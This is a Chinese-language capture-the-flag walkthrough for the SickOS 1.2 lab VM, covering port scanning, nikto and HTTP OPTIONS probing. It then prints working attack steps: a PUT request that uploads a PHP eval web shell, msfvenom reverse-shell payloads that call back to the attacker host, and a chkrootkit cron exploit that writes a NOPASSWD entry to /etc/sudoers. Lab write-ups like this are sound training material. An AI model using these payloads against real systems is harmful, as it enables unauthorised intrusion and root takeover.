
准备工作
靶机基本信息
靶机名称:SickOS 1.2
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机
root
权限并读取Flag文件下载地址:1. SickOs: 1.2 ~ VulnHub
环境配置
使用VMware软件打开靶机压缩包内的SickOs1.2.ovf
文件,即可自动导入虚拟机。
(主页
-> File
-> Scan for Virtual Machines
)
信息收集
主机发现
在Kali Linux中,使用netdiscover
发现主机:
shell
netdiscover -r 192.168.2.0/24

可以发现,网卡名称为VMware, Inc.
的主机即为靶机,IP地址为192.168.2.122
。
防火墙探测
确定主机IP地址后,我们使用nmap
探测靶机是否开启了防火墙:
shell
nmap -sA -p- 192.168.2.122
Nmap ACK扫描:当用户使用
-sA
参数时,Nmap会对目标主机进行ACK扫描。Nmap会向目标主机的随机端口发送一个TCP ACK
包,如果目标返回RST
包,则证明该端口开启且未被过滤;如果目标长时间无应答,则认为该端口关闭或者被过滤。
看样子目标主机大概率有防火墙。尝试进行ICMP
联通性测试:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 5 192.168.2.122
PING 192.168.2.122 (192.168.2.122) 56(84) bytes of data.
--- 192.168.2.122 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4075ms
看来绝对有防火墙,没跑了。<)。(>
网络服务扫描
使用如下命令扫描目标主机:
shell
# 扫描TCP开放端口、软件版本、操作系统
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.122
# 快速扫描UDP开放端口
nmap -sU -p- -T5 -oN ./udp_result.txt 192.168.2.122

可以看到靶机开放了如下端口:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
22 | TCP | SSH | OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) |
80 | TCP | HTTP | lighttpd 1.4.28 |
同时发现靶机操作系统为Ubuntu Linux
,内核版本大概在3.10
到4.11
之间。
服务探测
SSH服务(22端口)
使用nc
确定Banner
信息:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.122 22
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.8
^C
搜索公开漏洞:
shell
searchsploit OpenSSH 5.9
但并未找到合适的漏洞。
Web应用程序(80端口)
打开浏览器,在地址栏中输入网址http://192.168.2.122/
查看网站主页:
主页上有且只有一幅图片,而且这幅图片的内容,嘶。。。遥遥领先!
(意思是:如果计算机病毒真的是安全公司制作出来用于挣钱的呢?)
查看网页源代码,没有发现什么有价值的信息:
HTML
<html>
<img src="blow.jpg">
</html>
<!-- 长达90多行的空白内容 -->
<!-- NOTHING IN HERE ///\\\ -->>>>
把网页上的图片下载下来,使用二进制编辑软件GHex
打开,也没有发现任何有效信息:
无奈之下直接扫描一波目录:
shell
dirsearch -u http://192.168.2.122/ -i 200,301,302,304

网站目录结构大概如下:
/test
=> 未知目录blow.jpg
=> 网站主页上的图片index.php
=> 网站主页
既然扫出了新目录,那么就尝试访问一下(http://192.168.2.122/test/
):
看来这个目录貌似没有网页文件,并且开启了目录列表。查看一下源代码:
还是什么也没有。。。。
实在想不出从哪里渗透了,于是只好启动Nikto
试图挣扎一下:
shell
nikto -h 192.168.2.122
结果扫描出了天大的好消息:
靶机的网页服务似乎支持了一些不安全的HTTP
方法。于是打算使用BurpSuite
发送HTTP OPTIONS
数据包来探测一下其支持的方法:
Text
OPTIONS /test/ HTTP/1.1
Host: 192.168.2.122
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
果然。。。它支持PUT
方法。。。
那么我们就可以上传任意类型的文件,包括PHP后门脚本。
对靶机的服务探测已经结束,下面进入渗透测试部分
渗透测试
上传PHP后门
前面已经探测到了靶机的Web服务支持PUT
方法,那么我们就可以直接上传PHP后门:
Text
PUT /test/backdoor.php HTTP/1.1
Host: 192.168.2.122
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32
<?php @eval($_REQUEST[code]); ?>

上传成功!接下来使用中国蚁剑软件直接连接后门即可。连接参数如下:
点击添加
按钮,随后在主页面上右击添加的数据,选择虚拟终端
菜单项点击,即可打开WebShell。
接下来我们需要上传MSF系统后门,以便于我们渗透提权。
绕过防火墙使用系统后门
连接蚁剑之后,根据蚁剑返回的系统信息,判断靶机系统为32
位架构:
Text
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686
使用msfvenom
生成32位Linux系统的后门:
shell
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.2.108 LPORT=20000 -f elf > get_cmdshell
随后将其上传至靶机执行:
shell
chmod 777 ./*
./get_cmdshell
在本机的20000
号端口开启监听:
shell
rlwrap nc -lvnp 20000
可是等待了很久,20000
号端口还是没有响应。我感觉不太对,尝试使用Ping
工具检查网络连通性:
shell
ping -c 10 192.168.2.108
但是什么也没有:
我开始意识到靶机除了入站防火墙之外,还部署了出站防火墙。
思考了很久,最后假设防火墙入站和出站的策略一致,决定将本机监听端口更换成80
端口试一试:
shell
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.2.108 LPORT=80 -f elf > reverse_cmdshell
在本地启动nc
监听:
shell
rlwrap nc -lvnp 80
重新上传系统后门并执行:
shell
chmod 777 *
./reverse_cmdshell
还是失败。。。。
最后尝试换成443
号端口,并将监听软件换成Metasploit
,成功了:
使用如下Python
代码获取交互式Shell:
Python
import pty
pty.spawn('/bin/bash')
渗透测试到此结束,进入权限提升部分
权限提升
进入系统之后,首先查看一波系统的基本信息:
shell
ifconfig
id
uname -a

可以发现靶机系统的版本为Ubuntu Server 12.04.4 LTS
,内核版本为3.11.0-15-generic
。
查看该用户执行过的历史命令:
shell
history

没有什么敏感信息,全部都是我们执行过的命令。
查看靶机的端口状态:
shell
netstat -lentup

除了SSH服务的22
端口,DHCP客户端的68
端口,HTTP服务的80
端口之外,没有发现其它敏感信息。
查看靶机的进程列表:
shell
ps -aux

这里发现了root
用户存在系统定时任务。决定查看一下定时任务配置文件:
shell
cat /etc/crontab

使用ls
命令查看定时任务程序目录:
shell
ls -lA /etc/cron*

发现一个敏感文件chkrootkit
,emm。。。这是个啥?
尝试执行了下,没有任何反应。百度看看:
看来是一个Linux上的病毒查杀软件。但是结合我们在靶机网站主页上发现的那句话。。。总感觉有什么不太对的地方。。。
先看看chkrootkit
的软件版本:
shell
chkrootkit -V

得知了chkrootkit
的漏洞版本为0.49
,尝试找一下公开漏洞:
shell
searchsploit chkrootkit
出!院!!
大致看了一下漏洞的说明文件,提权步骤如下:
- 在
/tmp
目录下创建一个名为update
的脚本文件,必须为777
权限; - 启动
chkrootkit
,这里因为存在root
权限的定时任务,所以直接跳过。
这里我们就创建一个可以修改/etc/sudoers
文件的脚本,从而使www-data
用户可以免密切换至root
用户。
脚本内容如下:
shell
#! /bin/bash
echo "%www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
这里我们可以直接使用中国蚁剑软件的文件管理功能编写脚本:
编写完成之后,关闭文件编辑器,右键点击update
文件,在菜单中点击更改文件权限
,设置文件权限为0777
即可。
稍微等待一会儿,再次执行sudo -l
命令查看是否可以提权:
Text
www-data@ubuntu:/var/www/test$ sudo -l
sudo -l
Matching Defaults entries for www-data on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on this host:
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
看样子脚本已经成功执行了,直接执行sudo su -
:

成功!!!!
直接改密码:
Text
root@ubuntu:~# passwd
passwd
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
使用Termius
软件登录SSH:
Flag信息
文件名:
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
文件大小:491
字节
MD5:fd16531af8d97ec1885a3d7de9dce7d2
SHA256:02467b128e65b45715e2de59ff2ce6e93118646f7074d58c27d13f82a4245ce4
Flag内容: